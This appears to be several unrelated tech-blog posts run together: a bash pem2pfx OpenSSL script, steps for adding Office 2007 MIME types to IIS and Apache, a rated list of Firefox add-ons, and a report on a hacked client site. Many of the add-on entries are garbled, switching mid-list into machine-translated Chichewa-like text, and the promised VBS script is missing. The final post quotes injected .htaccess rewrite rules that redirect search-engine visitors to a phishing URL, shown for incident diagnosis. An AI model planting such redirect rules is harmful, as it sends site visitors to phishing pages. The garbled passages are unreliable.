[edit] So much for that. It turns out that openssl is able to determine that the key and certificate are already in a single file. Therefore, no csplitting required (well, I hope somebody reading this at least learned about how nice csplit is). In fact, the whole script might as well be obsoleteblaargh. Well, at least it gives a nice warning about not giving a blank passphrase. 😀

Here’s the new version:

pem2pfxconverts a .pem-formatted file containing a private key and signed certificate into a Windows-compatible .pfx certificate file.

#!/bin/bash
#pem2pfx
#v0.2
#Tricky - brendan@swiftspirit.co.za
# Converts a .pem certificate file to .pfx format
# $1 is the source file
set -e
 
if [ $# = 1 ]; then
  outputfile=`echo $1 | sed 's/.pem$/.pfx/'`
 
  echo "Please specify a password below. Windows refuses to import a .pfx certificate with a blank password."
  openssl pkcs12 -export -out $outputfile -in $1
 
 else
  echo "pem2pfx - converts a .pem formatted private-key and certificate file to an IIS-compatible .pfx file."
  echo "Usage: pem2pfx inputfile.pem"
fi

The relatively new document types Office 2007 has given some web hosts problems when their clients want to offer documents for download. Most often, the documents are being offered by the web server as text/html which is then rendered as a ton of garbage on the web user’s screen.

The best way to resolve this is to add all the MIME types to the server’s main configuration. IIS7 for Windows already has these MIME types set up correctly by default. IIS6 and IIS5 require the MIME types to be added, as might Apache on older installations. For Apache, there is also a workaround for the individual domain owner to add the mime types via Apache’s .htaccess file.

IIS 6 MIME type addition (for the Server Administrator)

Before this can be done, ensure that your server is also set to allow direct metabase editing:

  1. Load IIS Manager: Start -> Run, “inetmgr” -> [OK]
  2. Right click theserverand clickProperties
  3. Within theInternet Information Servicestab (usually the only tab), ensure that theEnable Direct Metabase Editcheckbox is checked.
  4. Click [OK]

Be sure to back up IIS’s configuration (here for IIS5) beforehand. I won’t take any responsibility for an admin breaking his server. I have reason to believe this may also work on IIS5 however I have just as much reason to believe that it might just give lots of errors. If an IIS5 / Windows 2000 admin is willing to test this for me after backing up your configuration please let me know of the results.

Copy the following text into a file named msoff07-addmime.vbs and execute it once from the commandline by typing cscript msoff07-addmime.vbs and pressing Enter. If you run it more than once, the MIME types will be added each time and you will have multiple identical entries:

' This script adds the necessary Office 2007 MIME types to an IIS 6 Server.
' To use this script, just double-click or execute it from a command line.
' Running this script multiple times results in multiple entries in the
' IIS MimeMap so you should not run it more than once.

Apache MIME type addition (for the Server Administrator)

Apache stores its MIME types in a file normally located at $installpath/conf/mime.types. See the mod_mime documentation for more on how it works. Arch Linux installs its MIME types at /etc/httpd/conf/mime.types and Parallels Plesk installs it in /usr/local/psa/admin/conf/mime.types. Your distribution might have it in another place, so find your mime.types file by running locate mime.types.

Add the following lines to your mime.types file:

application/vnd.ms-word.document.macroEnabled.12                          docm
application/vnd.openxmlformats-officedocument.wordprocessingml.document   docx
application/vnd.ms-word.template.macroEnabled.12                          dotm

and my Personal Rating (PR) out of 10 😉

I use Firefox so most of these won’t apply to non-FF users. However, I’d be very very interested to hear what other addons my friends, subscribers, and random websurfers find interesting or useful to them. Have your say and let us know why you love the addons you love. 🙂

Personally, I prefer addons that aren’t intrusive. Ideally, an addon must have a minimal interface and give me a measurable benefit for me to keep it installed.

Cacheviewer – 7

This is a GUI front-end for the Cache Firefox keeps of the last few pages and media. I’ve found this addon more interesting than useful right now so I’m probably going to remove it soon.

ColorfulTabs – 9

I love the colours. The tab colour-grouping doesn’t work very well when you reach about 30 tabs though… :-/

Download Statusbar – 10

I prefer having everything in Firefox in a single window in tabs. Having a download box in a separate window is a big no-no for me. It also saves screen real-estate since it is very minimal. 🙂

Video DownloadHelper – 10

Video DownloadHelper amaona akukhamukira media – makamaka kufunafuna zosiyanasiyana lalikulu limene pokhala dawunilodi. Pamene inu alemba pa chizindikirochi, izo zikusonyeza inu mitsinje panopa-otsitsira ndi kumakupatsani mwayi ima pamzere ngati “wabwinobwino” Download.

Popeza inu konse ngati FF ati osaitanidwa kapena mphamvu ati adule, Ndikufuna amakonda kupulumutsa bukuli kompyuta wanga ndi ndiye amaona kanema popanda kugwiritsa ntchito bandiwifi kwambiri download kanema kachiwiri. komanso, kuntchito, pamene anthu nditumeni limasonyeza kuti Youtube kapena zipangizo zina, Nthawi zambiri musavutike kuonera mpaka zambiri pambuyo – munthawi ndekha kapena pa yopuma.

lotha Canary – 9

Izi addon bwino ndi kochepa akuti ngati Kalata SSL malo iwe panopa kuonera posachedwapa ati kumwalira. Ngati malo anu ali ndi satifiketi SSL, Ine amalangiza ntchito addon ino kuthandiza kupewa malo anu SSL satifiketi pomaliza chifukwa choti ndi yosavuta zidziwitso kapena miscommunication.

Fasterfox – 8

Fasterfox adds some network optmisation options. Some of the options could make your corporate network admin a little mad with you though. 😉

Firebug – 9

Chitukuko ukonde ndi kuyesera masamba. Zozizwitsa kwa kudziyesa zidutswa pang'ono za malamulo komanso debugging masamba.

FoxClocks – 6

errtells you the time in other time zones. o.O Was useful for a short timenow its redundant since my head is working it out faster than I can glance. rm -f

FoxyProxy – 9

Zozizwitsa kwa kusakatula masamba osiyanasiyana kudzera maseva enieni tidzakulowereni. This is useful for when some sites are blocked or the SAIX Transparent Proxy servers aren’t working properly. 🙂

I ntchito njira zina magalimoto pa maseva tidzakulowereni kuti ine kulibwino osati kudutsa njira kusakhulupirika. Its also very flexible. Ngati muli oposa tidzakulowereni makina amene alipo ndiponso amene inu kawirikawiri ntchito mwadzidzidzi akupitiriza m'kuphethira ndi, basi kusinthana kwa wina wotsatirawo. 🙂

Greasemonkey – 10

Right now, I use this only for the GooglemonkeyR script. This script reformats Google‘s search results to your specifications and also has an option to show small thumbnail of the pages Google links to. Greasemonkey can do a lot more and there are plenty of scripts readily available for many many sites.

Live HTTP headers – 8

I’ve used this a few times to diagnose gzip compression issues with IIS web servers. Not much else to say though: It works.

Live PageRank – 10 (so faronly installed it yesterday)

This addon seems simple enough. It gets the PageRank from Google and shows it in the tray.

NoScript – 10

NoScript ndi zozizwitsa pa kutsekereza adverts. Ake kopweteka pang'ono poyamba popeza muli ndi Zovomerezeka malo onse mukufuna – but in the long run it is soooo worth it. 🙂

kuukitsa Pages – 10

zothandiza kwambiri ngati sakatulani kwa malo ndipo cicitika kukhala pansi. Ngati malo silikula zili wokonda ndiye zikhale zosavuta kupeza mwamsanga zili ngati zake Losungidwa Intaneti.

Tab Mix Plus – 8

Awesome for if you have more than 7-or-so tabs.

ShowIP (using a version modified for work purposesdisplays company server’s canonical name when browsing) – 10

I cannot imagine the hell I’d have to go through to identify a server without this plugin. Okay, I can. Used to have to do this all the time. I eventually scripted it but I can’t find the original script. Here’s my 60-second attempt at recreating what was in that script:

$ cat /etc/hosts | grep `dig A $hostname @mycachingnameserver | grep . | grep -v "^;"`
$ dig -x `dig A $hostname @mycachingnameserver | grep ^$hostname | grep A | \
  awk '/[.]/{print $5}'` @mycachingnameserver | grep . | grep -v "^;"

Web Developer – 9

I used this once to diagnose some issues with a page. I don’t do much web development so I’m going to remove this one. Its no comment on its capabilities since I believe this is a top notch add-on if you’re doing a lot of web development work.

I very recently found a problem with a client’s web site due to a .htaccess file. The site was hosted on a Windows server running IIS using IISPassword, which makes use of .htaccess files for its settings.

IISPassword doesn’t follow exactly the same rules as with Apache however. If the .htaccess file exists then it must contain IISPassword-appropriate rules, otherwise the server returns only the following error:

Error 500 given by IIS Password
Here’s the content of the .htaccess file. I’ve only modified the final redirection URL to point to example.com appropriately:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://siffy-phishing-url.example.com [R,L]

If this were on a server running Apache with mod_rewrite, most web users would go directly to the correct site content. Only if they reached the site through the search engines and indexes listed in the .htaccess, would they be redirected to the siffy phishing url that the cracker wants victims to reach.

Of course, the cracker (or perhaps even an automated worm) didn’t realise that the server in question didn’t even support these mod_rewrite rules. But either way, this is very worrying as I can foresee many arguments about whether or not the site is working
